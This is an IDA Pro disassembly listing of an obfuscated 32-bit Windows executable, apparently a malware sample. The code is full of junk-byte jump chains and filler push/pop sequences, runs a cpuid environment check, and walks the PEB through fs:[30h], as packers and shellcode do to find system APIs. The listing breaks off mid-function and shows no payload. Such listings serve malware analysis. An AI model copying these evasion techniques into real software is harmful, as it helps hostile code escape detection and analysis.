;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D782D4B6910085C646F54096BE45A1A0


		.686p
		.mmx
		.model flat

; ===========================================================================

; [00001000 BYTES: COLLAPSED SEGMENT HEADER. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; File Name   :	u:\work\d782d4b6910085c646f54096be45a1a0_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00005A00 (  23040.)
; Offset to raw	data for section: 00000400
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		jmp	loc_40100E
; ---------------------------------------------------------------------------
		db 46h,	7, 34h
		dd 0A0A3D25Dh
; ---------------------------------------------------------------------------
		pop	ecx
		push	ds


loc_40100E:				; CODE XREF: .text:00401000j
		jmp	short loc_401017
; ---------------------------------------------------------------------------
		dd 2A15CCFFh
		db 1Bh,	0B8h, 91h
; ---------------------------------------------------------------------------


loc_401017:				; CODE XREF: .text:loc_40100Ej
		push	edx
		jmp	loc_40101F
; ---------------------------------------------------------------------------
		db 82h,	93h
; ---------------------------------------------------------------------------


loc_40101F:				; CODE XREF: .text:00401018j
		mov	edx, 43C75B64h
		jmp	loc_401031
; ---------------------------------------------------------------------------
		db 0D0h, 0C9h, 0CEh
		dd 0DA85FCEFh
		db 0Bh
; ---------------------------------------------------------------------------


loc_401031:				; CODE XREF: .text:00401024j
		sub	eax, edx
		jmp	short loc_401045
; ---------------------------------------------------------------------------
		db 0E8h, 1, 0A6h
		dd 323D94E7h, 7E390083h, 8AF52CDFh
; ---------------------------------------------------------------------------
		sti


loc_401045:				; CODE XREF: .text:00401033j
		pop	edx
		push	edi
		push	43C75B64h
		mov	edi, esp
		jmp	short loc_401060
; ---------------------------------------------------------------------------
		dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h
; ---------------------------------------------------------------------------


loc_401060:				; CODE XREF: .text:0040104Ej
		add	eax, [edi]
		jmp	loc_40106B
; ---------------------------------------------------------------------------
		db 0F4h
		db 1Dh,	92h, 63h
; ---------------------------------------------------------------------------


loc_40106B:				; CODE XREF: .text:00401062j
		add	esp, 4
		jmp	short loc_40107E
; ---------------------------------------------------------------------------
		db 60h
		dd 8CBFDE19h, 78DBEAD5h
		db 51h,	0B6h
; ---------------------------------------------------------------------------


loc_40107E:				; CODE XREF: .text:00401071j
		pop	edi
		jmp	short loc_4010B0
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw


loc_40108C:				; CODE XREF: .text:loc_4010B0j
		jmp	short loc_4010C0
; ---------------------------------------------------------------------------
		dw 0FD54h
		dd 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h, 69F033A2h
		dd 251C8FEEh, 0A108ABFAh, 0DDB487C6h
; ---------------------------------------------------------------------------


loc_4010B0:				; CODE XREF: .text:0040107Fj
		jmp	short loc_40108C
; ---------------------------------------------------------------------------
		push	edx
		and	esp, [eax]


loc_4010B5:				; CODE XREF: .text:loc_4010C0j
		jmp	short loc_4010E7
; ---------------------------------------------------------------------------
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl


loc_4010C0:				; CODE XREF: .text:loc_40108Cj
		jmp	short loc_4010B5
; ---------------------------------------------------------------------------
		dw 7776h
		dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h
		dd 5FFEB980h, 7B0A75ACh, 57D6F198h
		db 44h,	2Dh, 62h
; ---------------------------------------------------------------------------


loc_4010E7:				; CODE XREF: .text:loc_4010B5j
		push	eax
		jmp	short loc_401115
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st


loc_4010ED:				; CODE XREF: .text:loc_401115j
		jmp	short loc_401125
; ---------------------------------------------------------------------------
		db 0BAh
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh
; ---------------------------------------------------------------------------
		daa


loc_401115:				; CODE XREF: .text:004010E8j
		jmp	short loc_4010ED
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------
		jge	short loc_40118C
		retn
; ---------------------------------------------------------------------------
		db 40h
		dd 6C1FBE79h, 583BCA35h
		db 0B1h
; ---------------------------------------------------------------------------


loc_401125:				; CODE XREF: .text:loc_4010EDj
		mov	eax, edx
		jmp	short loc_401157
; ---------------------------------------------------------------------------
		db 6Eh,	0Fh, 9Ch
		dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: .text:loc_401157j
					; .text:0040115Fj
		jmp	short loc_40116F
; ---------------------------------------------------------------------------
		dw 0F691h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh
		db 0E7h, 94h, 3Dh
; ---------------------------------------------------------------------------


loc_401157:				; CODE XREF: .text:00401127j
		jmp	short loc_401140
; ---------------------------------------------------------------------------
		db 32h
; ---------------------------------------------------------------------------


loc_40115A:				; CODE XREF: .text:loc_40116Fj
		jmp	short loc_401187
; ---------------------------------------------------------------------------
		add	dword ptr [eax], 39h
		jle	short loc_401140
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]


loc_40116F:				; CODE XREF: .text:loc_401140j
		jmp	short loc_40115A
; ---------------------------------------------------------------------------
		db 2Eh,	0CFh, 5Ch
		db 65h,	3Ah, 0EBh
; ---------------------------------------------------------------------------


loc_401177:				; CODE XREF: .text:loc_401187j
		jmp	short loc_4011A2
; ---------------------------------------------------------------------------
		db 48h,	0E1h, 6
		dd 921DF4C7h, 0DE196063h
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_401187:				; CODE XREF: .text:loc_40115Aj
		jmp	short loc_401177
; ---------------------------------------------------------------------------
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------


loc_40118C:				; CODE XREF: .text:00401118j
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h
		db 0FDh, 0F2h
; ---------------------------------------------------------------------------


loc_4011A2:				; CODE XREF: .text:loc_401177j
		pop	eax
		jmp	short loc_4011D0
; ---------------------------------------------------------------------------
		db 4Ah,	0BBh, 0D8h
; ---------------------------------------------------------------------------


loc_4011A8:				; CODE XREF: .text:loc_4011D0j
		jmp	short loc_4011E3
; ---------------------------------------------------------------------------
		dw 1631h
		dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h
		dd 9ED92023h, 0AA954C7Fh, 7611389Bh, 24DE477h
; ---------------------------------------------------------------------------


loc_4011D0:				; CODE XREF: .text:004011A3j
		jmp	short loc_4011A8
; ---------------------------------------------------------------------------
		adc	edx, [eax+49h]


loc_4011D5:				; CODE XREF: .text:loc_4011E3j
		jmp	short loc_401206
; ---------------------------------------------------------------------------
		db 4Eh
		dd 5A057C6Fh, 2681688Bh
		db 67h,	14h, 0BDh
; ---------------------------------------------------------------------------


loc_4011E3:				; CODE XREF: .text:loc_4011A8j
		jmp	short loc_4011D5
; ---------------------------------------------------------------------------
		db 0B2h, 3, 80h
		db 0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_4011EA:				; CODE XREF: .text:loc_401206j
		jmp	short loc_401219
; ---------------------------------------------------------------------------
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh
		dd 8661C86Bh
		db 47h,	74h
; ---------------------------------------------------------------------------


loc_401206:				; CODE XREF: .text:loc_4011D5j
		jmp	short loc_4011EA
; ---------------------------------------------------------------------------
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h
		db 0Dh
; ---------------------------------------------------------------------------


loc_401219:				; CODE XREF: .text:loc_4011EAj
		mov	eax, 80000000h
		push	ecx
		push	esi
		cmp	ah, ch
		cld
		cld
		pop	esi
		pop	ecx
		cpuid
		jmp	short loc_401238
; ---------------------------------------------------------------------------
		lds	ebx, [edx]
		dec	ebx
		sub	[ecx-1Ah], al
		daa


loc_401231:				; CODE XREF: .text:loc_401238j
		jmp	short loc_40125F
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------
		jge	short loc_4012A8
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_401238:				; CODE XREF: .text:00401228j
		jmp	short loc_401231
; ---------------------------------------------------------------------------
		dw 0BE79h
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h,	7AA59C0Fh
		dd 4621882Bh, 0D25D3407h, 1E59A0A3h
		db 0FFh, 0CCh, 15h
; ---------------------------------------------------------------------------


loc_40125F:				; CODE XREF: .text:loc_401231j
		cmp	eax, 665B5001h
		jnz	loc_401302
		push	esi
		push	ecx
		not	esi
		cld
		cld
		pop	ecx
		pop	esi
		cmp	edx, 7A7000h
		jnz	loc_401302
		push	edx
		push	eax
		cmp	al, 0CEh
		test	ecx, esp
		test	ecx, ecx
		dec	eax
		cld
		pop	eax
		pop	edx
		retn
; ---------------------------------------------------------------------------
		jmp	short loc_4012BC
; ---------------------------------------------------------------------------
		db 0EFh, 0FCh, 85h
; ---------------------------------------------------------------------------


loc_401290:				; CODE XREF: .text:loc_4012BCj
		jmp	short loc_4012CF
; ---------------------------------------------------------------------------
		dw 0BDAh
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
; ---------------------------------------------------------------------------


loc_4012A8:				; CODE XREF: .text:00401234j
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------


loc_4012BC:				; CODE XREF: .text:0040128Bj
		jmp	short loc_401290
; ---------------------------------------------------------------------------
		dw 1960h
		dd 0D58CBFDEh
		db 0EAh
; ---------------------------------------------------------------------------


loc_4012C5:				; CODE XREF: .text:loc_4012CFj
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_4012CF:				; CODE XREF: .text:loc_401290j
		jmp	short loc_4012C5
; ---------------------------------------------------------------------------
		push	ebx


loc_4012D2:				; CODE XREF: .text:loc_4012F2j
		jmp	short loc_401302
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
		db 84h,	6Dh
; ---------------------------------------------------------------------------


loc_4012F2:				; CODE XREF: .text:loc_4012C5j
		jmp	short loc_4012D2
; ---------------------------------------------------------------------------
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh
		db 0C6h, 87h
; ---------------------------------------------------------------------------


loc_401302:				; CODE XREF: .text:00401264j
					; .text:00401278j ...
		jmp	loc_40395F
; ---------------------------------------------------------------------------
		jmp	short loc_401335
; ---------------------------------------------------------------------------
		fstp	dword ptr [esi-556AB381h]
		wait


loc_401310:				; CODE XREF: .text:loc_401335j
		jmp	short near ptr sub_401346
; ---------------------------------------------------------------------------
		dw 1138h
		dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc


loc_401335:				; CODE XREF: .text:00401307j
		jmp	short loc_401310
; ---------------------------------------------------------------------------
		db 57h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh
		db 0C8h, 61h

; =============== S U B	R O U T	I N E =======================================



sub_401346	proc far		; CODE XREF: .text:loc_401310j
					; .text:0040397Cp

; FUNCTION CHUNK AT 0040164A SIZE 0000000D BYTES

		xor	eax, eax
		push	edi
		push	eax
		nop
		inc	eax
		mov	ax, 490Bh
		cld
		pop	eax
		pop	edi
		mov	eax, fs:[eax+30h]
		jmp	short loc_401386
; ---------------------------------------------------------------------------
		dw 0E0E3h
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas
		or	al, 55h


loc_401361:				; CODE XREF: sub_401346:loc_401386j
		jmp	short loc_401397
; ---------------------------------------------------------------------------
		db 6Ah
		dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh,	0E641284Bh
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh
		db 3Bh,	58h
; ---------------------------------------------------------------------------


loc_401386:				; CODE XREF: sub_401346+12j
		jmp	short loc_401361
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_4013C2


loc_401397:				; CODE XREF: sub_401346:loc_401361j
		test	eax, eax
		js	loc_40157F
		jmp	short loc_4013D1
; ---------------------------------------------------------------------------
		mov	al, ds:0CCFF1E59h


loc_4013A6:				; CODE XREF: sub_401346+7Fj
		adc	eax, 91B81B2Ah
		div	bh
		db	64h
		int	82h


loc_4013B0:				; CODE XREF: sub_401346:loc_4013D1j
		jmp	short loc_4013E1
; ---------------------------------------------------------------------------
		dw 0D093h
		dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h
		db 3Dh,	32h
; ---------------------------------------------------------------------------


loc_4013C2:				; CODE XREF: sub_401346+4Fj
		add	dword ptr [eax], 39h
		jle	short loc_4013A6
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------
		lodsd


loc_4013D1:				; CODE XREF: sub_401346+59j
		jmp	short loc_4013B0
; ---------------------------------------------------------------------------
		db 0E2h
		db 73h
; ---------------------------------------------------------------------------


loc_4013D5:				; CODE XREF: sub_401346:loc_4013E1j
		jmp	short loc_401404
; ---------------------------------------------------------------------------
		db 30h
		dd 5CCF2EA9h, 48EB3A65h
		db 0E1h
; ---------------------------------------------------------------------------


loc_4013E1:				; CODE XREF: sub_401346:loc_4013B0j
		jmp	short loc_4013D5
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh


loc_4013EA:				; CODE XREF: sub_401346:loc_401404j
		jmp	short loc_401417
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_401446
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
; ---------------------------------------------------------------------------


loc_401404:				; CODE XREF: sub_401346:loc_4013D5j
		jmp	short loc_4013EA
; ---------------------------------------------------------------------------
		dw 66C1h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh
		db 0BBh, 0D8h, 31h
; ---------------------------------------------------------------------------


loc_401417:				; CODE XREF: sub_401346:loc_4013EAj
		mov	eax, [eax+0Ch]
		push	ebx


loc_40141B:				; CODE XREF: sub_401346+13Bj
		push	esi
		lea	ebx, ds:80A91Ah
		push	ebp
		pop	esi
		mov	si, 499Fh
		mov	ebx, esi
		rcl	ebx, 0F5h
		mov	esi, esi
		cld
		pop	esi
		pop	ebx
		mov	esi, [eax+1Ch]
		push	edx
		push	ebx
		cmp	ebx, 808E5Ah
		neg	ebx
		xchg	ebx, ebx
		inc	ebx
		cld
		pop	ebx
		pop	edx
		lodsd


loc_401446:				; CODE XREF: sub_401346+ADj
		jmp	short loc_401473
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli


loc_40144B:				; CODE XREF: sub_401346:loc_401473j
		jmp	short loc_401486
; ---------------------------------------------------------------------------
		db 0ABh, 8, 0A1h
		dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
		dd 49501302h, 57C6F4Eh,	81688B5Ah
		db 26h,	67h, 14h
; ---------------------------------------------------------------------------


loc_401473:				; CODE XREF: sub_401346:loc_401446j
		jmp	short loc_40144B
; ---------------------------------------------------------------------------
		db 0BDh, 0B2h, 3
; ---------------------------------------------------------------------------


loc_401478:				; CODE XREF: sub_401346:loc_401486j
		jmp	short loc_4014A9
; ---------------------------------------------------------------------------
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah
		jnp	short loc_40141B
		icebp
		setalc
		push	edi


loc_401486:				; CODE XREF: sub_401346:loc_40144Bj
		jmp	short loc_401478
; ---------------------------------------------------------------------------
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h,	0E3129D74h
		dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h
; ---------------------------------------------------------------------------
		movsb


loc_4014A9:				; CODE XREF: sub_401346:loc_401478j
		mov	esi, [eax+8]
		jmp	short loc_4014D8
; ---------------------------------------------------------------------------
		lds	ebx, [edx]
		dec	ebx
		sub	[ecx-1Ah], al
		daa


loc_4014B5:				; CODE XREF: sub_401346:loc_4014D8j
		jmp	short loc_4014E9
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------
		jge	short loc_40152C
		retn
; ---------------------------------------------------------------------------
		db 40h
		dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h
		dd 882B7AA5h, 34074621h
; ---------------------------------------------------------------------------


loc_4014D8:				; CODE XREF: sub_401346+166j
		jmp	short loc_4014B5
; ---------------------------------------------------------------------------


loc_4014DA:				; CODE XREF: sub_401346:loc_4014E9j
		jmp	short locret_401508
; ---------------------------------------------------------------------------
		pop	ebp
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger
		adc	eax, 91B81B2Ah


loc_4014E9:				; CODE XREF: sub_401346:loc_4014B5j
		jmp	short loc_4014DA
; ---------------------------------------------------------------------------
		db 0F6h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h
		dd 7E390083h, 8AF52CDFh
; ---------------------------------------------------------------------------

locret_401508:				; CODE XREF: sub_401346:loc_4014DAj
		retn
; ---------------------------------------------------------------------------
		jmp	short loc_401536
; ---------------------------------------------------------------------------
		db 0E2h
		dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h
		db 63h,	60h
; ---------------------------------------------------------------------------


loc_40151E:				; CODE XREF: sub_401346:loc_401536j
		jmp	short loc_401549
; ---------------------------------------------------------------------------
		dd 8CBFDE19h, 78DBEAD5h, 24B7B651h
; ---------------------------------------------------------------------------


loc_40152C:				; CODE XREF: sub_401346+172j
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx


loc_401536:				; CODE XREF: sub_401346+1C3j
		jmp	short loc_40151E
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_40153B:				; CODE XREF: sub_401346:loc_401549j
		jmp	short loc_40156C
; ---------------------------------------------------------------------------
		db 66h,	0A7h, 54h
		dd 0C043F2FDh, 0EC9F3EF9h
		db 0B5h
; ---------------------------------------------------------------------------


loc_401549:				; CODE XREF: sub_401346:loc_40151Ej
		jmp	short loc_40153B
; ---------------------------------------------------------------------------
		db 4Ah
		dd 1631D8BBh
; ---------------------------------------------------------------------------


loc_401550:				; CODE XREF: sub_401346:loc_40156Cj
		jmp	short loc_40157F
; ---------------------------------------------------------------------------
		dw 8497h
		dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h, 0B487C6A1h,	202352DDh
		dd 4C7F9ED9h
; ---------------------------------------------------------------------------


loc_40156C:				; CODE XREF: sub_401346:loc_40153Bj
		jmp	short loc_401550
; ---------------------------------------------------------------------------
		dw 0AA95h
		dd 7611389Bh, 24DE477h,	4E495013h
		db 6Fh,	7Ch, 5
; ---------------------------------------------------------------------------


loc_40157F:				; CODE XREF: sub_401346+53j
					; sub_401346:loc_401550j
		mov	eax, [eax+34h]
		push	edx
		push	ecx
		mov	edx, edi
		inc	edx
		cld
		pop	ecx
		pop	edx
		add	eax, 7Ch
		jmp	short loc_4015B8
; ---------------------------------------------------------------------------
		db 80h
		db 0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_401592:				; CODE XREF: sub_401346:loc_4015B8j
		jmp	short loc_4015CB
; ---------------------------------------------------------------------------
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------


loc_4015B8:				; CODE XREF: sub_401346+247j
		jmp	short loc_401592
; ---------------------------------------------------------------------------
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa


loc_4015BF:				; CODE XREF: sub_401346:loc_4015CBj
		jmp	short loc_4015EE
; ---------------------------------------------------------------------------
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_4015CB:				; CODE XREF: sub_401346:loc_401592j
		jmp	short loc_4015BF
; ---------------------------------------------------------------------------
		db 1Ah,	4Bh, 28h
		dd 0D427E641h
; ---------------------------------------------------------------------------


loc_4015D4:				; CODE XREF: sub_401346:loc_4015EEj
		jmp	short loc_401603
; ---------------------------------------------------------------------------
		jge	short loc_40164A
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h
		db 0Fh,	9Ch
; ---------------------------------------------------------------------------


loc_4015EE:				; CODE XREF: sub_401346:loc_4015BFj
		jmp	short loc_4015D4
; ---------------------------------------------------------------------------
		dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h
		db 15h,	2Ah, 1Bh
; ---------------------------------------------------------------------------


loc_401603:				; CODE XREF: sub_401346:loc_4015D4j
		mov	eax, [eax+3Ch]
		push	ecx
		push	edx
		cmp	al, 0E2h
		xor	ecx, edx
		neg	ecx
		lea	ecx, ds:80905Ah
		neg	edx
		inc	ecx
		cld
		pop	edx
		pop	ecx
		mov	esi, eax
		push	eax
		push	ecx
		lea	ecx, ds:80E05Ah
		mov	eax, esp
		xchg	eax, ecx
		mov	ecx, ecx
		xor	ecx, esp
		dec	ecx
		cld
		pop	ecx
		pop	eax
		retn
sub_401346	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_40165F
; ---------------------------------------------------------------------------
		db 0CEh
		dd 0DA85FCEFh
; ---------------------------------------------------------------------------
		or	ebp, eax


loc_40163A:				; CODE XREF: .text:loc_40165Fj
		jmp	short loc_40166F
; ---------------------------------------------------------------------------
		dd 94E7A601h, 83323Dh, 2CDF7E39h
		db 0F5h, 8Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401346


loc_40164A:				; CODE XREF: sub_401346+290j
		sti
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; END OF FUNCTION CHUNK	FOR sub_401346
; ---------------------------------------------------------------------------
		db 5Ch
		dd 48EB3A65h
		db 0E1h, 6, 0C7h
; ---------------------------------------------------------------------------


loc_40165F:				; CODE XREF: .text:00401631j
		jmp	short loc_40163A
; ---------------------------------------------------------------------------
		db 0F4h, 1Dh, 92h
		db 63h,	60h, 19h
; ---------------------------------------------------------------------------


loc_401667:				; CODE XREF: .text:loc_40166Fj
		jmp	short near ptr sub_401692
; ---------------------------------------------------------------------------
		fidivr	word ptr [edi-24152A74h]


loc_40166F:				; CODE XREF: .text:loc_40163Aj
		jmp	short loc_401667
; ---------------------------------------------------------------------------
		js	short near ptr byte_4016C4
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh
		db 0BBh, 0D8h

; =============== S U B	R O U T	I N E =======================================



sub_401692	proc far		; CODE XREF: .text:loc_401667j
					; sub_401692+A05p ...

var_18		= dword	ptr -18h

		push	ebp
		jmp	short loc_4016BE
; ---------------------------------------------------------------------------
		db 0F0h, 69h, 0EEh
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
; ---------------------------------------------------------------------------


loc_4016A8:				; CODE XREF: sub_401692:loc_4016BEj
		jmp	short loc_4016D9
; ---------------------------------------------------------------------------
		dw 4C7Fh
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h
		db 5, 5Ah
; ---------------------------------------------------------------------------


loc_4016BE:				; CODE XREF: sub_401692+1j
		jmp	short loc_4016A8
; ---------------------------------------------------------------------------
		dd 2681688Bh
byte_4016C4	db 67h			; CODE XREF: .text:00401671j
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401692:loc_4016D9j
		jmp	short loc_4016F4
; ---------------------------------------------------------------------------
		db 14h
		dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h
		db 2Dh
; ---------------------------------------------------------------------------


loc_4016D9:				; CODE XREF: sub_401692:loc_4016A8j
		jmp	short loc_4016C5
; ---------------------------------------------------------------------------
		db 62h
		dd 0AE29B0F3h
		db 4Fh,	0DCh
; ---------------------------------------------------------------------------


loc_4016E2:				; CODE XREF: sub_401692:loc_4016F4j
		jmp	short loc_40170F
; ---------------------------------------------------------------------------
		dd 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h
; ---------------------------------------------------------------------------


loc_4016F4:				; CODE XREF: sub_401692:loc_4016C5j
		jmp	short loc_4016E2
; ---------------------------------------------------------------------------
		dw 6A55h
		dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh,	0E641284Bh
; ---------------------------------------------------------------------------
		daa
		aam	7Dh


loc_40170F:				; CODE XREF: sub_401692:loc_4016E2j
		mov	ebp, esp
		push	ecx
		push	esi
		mov	ecx, 82999Ah
		xor	esi, edx
		mov	esi, 80DE1Ah
		mov	ecx, 8098DAh
		rcl	esi, 98h
		mov	ecx, edx
		clc
		cld
		pop	esi
		pop	ecx
		add	esp, 0FFFFFFFCh
		push	ebx
		push	eax
		cmp	esi, edx
		inc	ebx
		cld
		pop	eax
		pop	ebx
		push	ebx
		push	ebx
		push	ecx
		lea	ebx, ds:80921Ah
		dec	ecx
		cld
		pop	ecx
		pop	ebx
		push	esi
		jmp	short loc_401774
; ---------------------------------------------------------------------------
		dd 0B322ED04h
		db 70h,	0E9h, 6Eh
; ---------------------------------------------------------------------------


loc_40174F:				; CODE XREF: sub_401692:loc_401774j
		jmp	short loc_401784
; ---------------------------------------------------------------------------
		db 0Fh,	9Ch, 0A5h
		dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah
		dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
; ---------------------------------------------------------------------------


loc_401774:				; CODE XREF: sub_401692+B4j
		jmp	short loc_40174F
; ---------------------------------------------------------------------------
		dw 0BDAh
		dd 0E7A601E8h
; ---------------------------------------------------------------------------


loc_40177C:				; CODE XREF: sub_401692:loc_401784j
		jmp	short loc_4017A7
; ---------------------------------------------------------------------------
		xchg	eax, esp
		cmp	eax, 39008332h


loc_401784:				; CODE XREF: sub_401692:loc_40174Fj
		jmp	short loc_40177C
; ---------------------------------------------------------------------------
		dw 0DF7Eh
		db 2Ch
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: sub_401692:loc_4017A7j
		jmp	short loc_4017BB
; ---------------------------------------------------------------------------
		db 0F5h
		dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah
		dd 1DF4C706h
		db 92h,	63h, 60h
; ---------------------------------------------------------------------------


loc_4017A7:				; CODE XREF: sub_401692:loc_40177Cj
		jmp	short loc_401789
; ---------------------------------------------------------------------------
		db 19h,	0DEh, 0BFh
		dd 0DBEAD58Ch, 0B7B65178h, 53428D24h
		db 90h
		db 89h,	8Eh
; ---------------------------------------------------------------------------


loc_4017BB:				; CODE XREF: sub_401692:loc_401789j
		push	edi
		jmp	short loc_4017ED
; ---------------------------------------------------------------------------
		dw 0CB9Ah
		db 0A8h
; ---------------------------------------------------------------------------


loc_4017C1:				; CODE XREF: sub_401692:loc_4017EDj
		jmp	short loc_401800
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h
; ---------------------------------------------------------------------------
		sahf


loc_4017ED:				; CODE XREF: sub_401692+12Aj
		jmp	short loc_4017C1
; ---------------------------------------------------------------------------
